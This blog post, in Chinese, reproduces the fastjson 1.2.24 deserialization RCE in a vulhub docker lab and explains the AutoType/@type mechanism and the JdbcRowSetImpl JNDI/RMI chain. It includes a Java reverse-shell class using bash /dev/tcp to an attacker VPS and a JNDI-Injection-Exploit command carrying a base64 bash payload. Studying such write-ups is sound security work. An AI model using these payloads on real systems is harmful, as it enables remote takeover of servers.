fastjson1.2.24-RCE漏洞复现

news/发布时间2024/5/16 8:25:20

fastjson 是一个 有阿里开发的一个开源Java 类库,可以将 Java 对象转换为 JSON 格式(序列化),当然它也可以将 JSON 字符串转换为 Java 对象(反序列化)。Fastjson 可以操作任何 Java 对象,即使是一些预先存在的没有源码的对象(这就是漏洞来源,下文会解释)。使用比较广泛。

 

fastjson序列化/反序列化原理

fastjson的漏洞本质还是一个java的反序列化漏洞,由于引进了AutoType功能,fastjson在对json字符串反序列化的时候,会读取到@type的内容,将json内容反序列化为java对象并调用这个类的setter方法。

那么为啥要引进Auto Type功能呢?

fastjson在序列化以及反序列化的过程中并没有使用Java自带的序列化机制,而是自定义了一套机制。其实,对于JSON框架来说,想要把一个Java对象转换成字符串,可以有两种选择:

1.基于setter/getter

2.基于属性(AutoType)

基于setter/getter会带来什么问题呢,下面举个例子,假设有如下两个类:

class Apple implements Fruit {private Big_Decimal price;//省略 setter/getter、toString等
}class iphone implements Fruit {private Big_Decimal price;//省略 setter/getter、toString等
}

实例化对象之后,假设苹果对象的price为0.5,Apple类对象序列化为json格式后为:

{"Fruit":{"price":0.5}}

假设iphone对象的price为5000,序列化为json格式后为:

{"Fruit":{"price":5000}}

当一个类只有一个接口的时候,将这个类的对象序列化的时候,就会将子类抹去(apple/iphone)只保留接口的类型(Fruit),最后导致反序列化时无法得到原始类型。本例中,将两个json再反序列化生成java对象的时候,无法区分原始类是apple还是iphone。

为了解决上述问题: fastjson引入了基于属性(AutoType),即在序列化的时候,先把原始类型记录下来。使用@type的键记录原始类型,在本例中,引入AutoType后,Apple类对象序列化为json格式后为:

{ "fruit":{ "@type":"com.hollis.lab.fastjson.test.Apple", "price":0.5 } }

引入AutoType后,iphone类对象序列化为json格式后为:

{ "fruit":{ "@type":"com.hollis.lab.fastjson.test.iphone", "price":5000 } }

这样在反序列化的时候就可以区分原始的类了。

 

使用AutoType功能进行序列号的JSON字符会带有一个@type来标记其字符的原始类型,在反序列化的时候会读取这个@type,来试图把JSON内容反序列化到对象,并且会调用这个库的setter或者getter方法,然而,@type的类有可能被恶意构造,只需要合理构造一个JSON,使用@type指定一个想要的攻击类库就可以实现攻击。

常见的有sun官方提供的一个类com.sun.rowset.JdbcRowSetImpl,其中有个dataSourceName方法支持传入一个rmi的源,只要解析其中的url就会支持远程调用!因此整个漏洞复现的原理过程就是:

1、攻击者(我们)访问存在fastjson漏洞的目标靶机网站,通过burpsuite抓包改包,以json格式添加com.sun.rowset.JdbcRowSetImpl恶意类信息发送给目标机。
2、存在漏洞的靶机对json反序列化时候,会加载执行我们构造的恶意信息(访问rmi服务器),靶机服务器就会向rmi服务器请求待执行的命令。也就是靶机服务器问rmi服务器,(靶机服务器)需要执行什么命令啊?
3、rmi 服务器请求加载远程机器的class(这个远程机器是我们搭建好的恶意站点,提前将漏洞利用的代码编译得到.class文件,并上传至恶意站点),得到攻击者(我们)构造好的命令(ping dnslog或者创建文件或者反弹shell啥的)
4、rmi将远程加载得到的class(恶意代码),作为响应返回给靶机服务器。
靶机服务器执行了恶意代码,被攻击者成功利用。

复现开始

这次选择的是1.2.24-rce:

docker-compose启动一下:

开的8090端口:

服务正常启动。

 

创建文件的就不复现了,因为我本机开的出网,直接打反弹shell:

// javac ReverseShell.java
import java.lang.Runtime;
import java.lang.Process;public class ReverseShell {static {try {Runtime rt = Runtime.getRuntime();String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/vps/port 0>&1"};Process pc = rt.exec(commands);pc.waitFor();} catch (Exception e) {// do nothing
        }}
}

此处起一个端口4444的http服务:

我用mbechler/marshalsec (github.com)起一个rmi开打:

下载下来后记得mvn clean package -DskipTests

当然,也可以vps上开这个rmi服务。

无论你哪里起服务,一定要保证java和javac的版本是1.8,版本要求非常严苛,不然出不了的。

所以这个工具我打的时候有点头疼,不想配环境了,就换了一个打JNDI的工具JNDI-Injection-Exploit。

老规矩,DNS测测能不能出网:

直接打:

bash -i >& /dev/tcp/vps/port 0>&1
//payload
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,<base64后的命令>}|{base64,-d}|{bash,-i}" -A 攻击机ip

其实攻击过程弄明白了也挺简单的,主要还是漏洞本身出现的原因很值得深究,知其然得知其所以然。

 

参考:

Fastjson反序列化漏洞原理与漏洞复现(基于vulhub,保姆级的详细教程)_fastjson漏洞原理-CSDN博客

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.ulsteruni.cn/article/52448027.html

如若内容造成侵权/违法违规/事实不符,请联系编程大学网进行投诉反馈email:xxxxxxxx@qq.com,一经查实,立即删除!

相关文章

开学第一周周报

这个星期是开学的第一周,进行了天梯赛的选拔,两场比赛打的都不好。赛后反思了一下,感觉自己有点陷入算法的框架中了。现在无论做什么题第一时间就想往算法方面去思考,dp,树状数组,搜索。但是赛后补题的时候发现其实压根就用不到,大多数都是贪心,但不知道怎么的比赛过程…

外部网络通过ssh连接WSL2

外部网络通过ssh连接WSL2 需要配置wsl2网络模式为镜像模式,并打开防火墙。最终可以实现通过局域网访问WSL2容器,同时当宿主机可以访问ipv6时,容器也自动支持。修改wsl位置文件.wslconfig​​,主要有以下两点关键步骤设置网络模式为镜像模式networkingMode=mirrored​​ 打开…

第03章_基本的SELECT语句

第03章_基本的SELECT语句 讲师:尚硅谷-宋红康(江湖人称:康师傅) 官网:http://www.atguigu.com1. SQL概述 1.1 SQL背景知识1946 年,世界上第一台电脑诞生,如今,借由这台电脑发展起来的互联网已经自成江湖。在这几十年里,无数的技术、产业在这片江湖里沉浮,有的方兴未艾…

软件工程第一次作业

目录评估当前的自己展望未来思维导图和学习路线代码仓库 作业基本信息这个作业属于哪个课程 https://edu.cnblogs.com/campus/gdgy/SoftwareEngineering2024-dualdegree这个作业要求在哪里 https://edu.cnblogs.com/campus/gdgy/SoftwareEngineering2024-dualdegree/homework/1…

apache2.4在windows server2012上出现内存溢出解决方法

今天把服务器迁移到windows server2012发现出现web请求不稳定,内存飙升,经常发生卡顿现象,找了很多原因,最后找到了关键因素。 在apache的配置文件httd.conf下注释掉:EnableMMAP off EnableSendfile OffAcceptFilter http none AcceptFilter https none这样就搞定了! 现…

代码随想录算法训练营day18 | leetcode 513. 找树左下角的值、112(113). 路径总和(I、II)、105(106). 构造二叉树

目录题目链接:513. 找树左下角的值-中等题目链接:112. 路径总和-简单题目链接:113. 路径总和 II-中等题目链接:105. 从前序与中序遍历序列构造二叉树-中等题目链接:106. 从中序与后序遍历序列构造二叉树-中等 题目链接:513. 找树左下角的值-中等 题目描述: 给定一个二叉…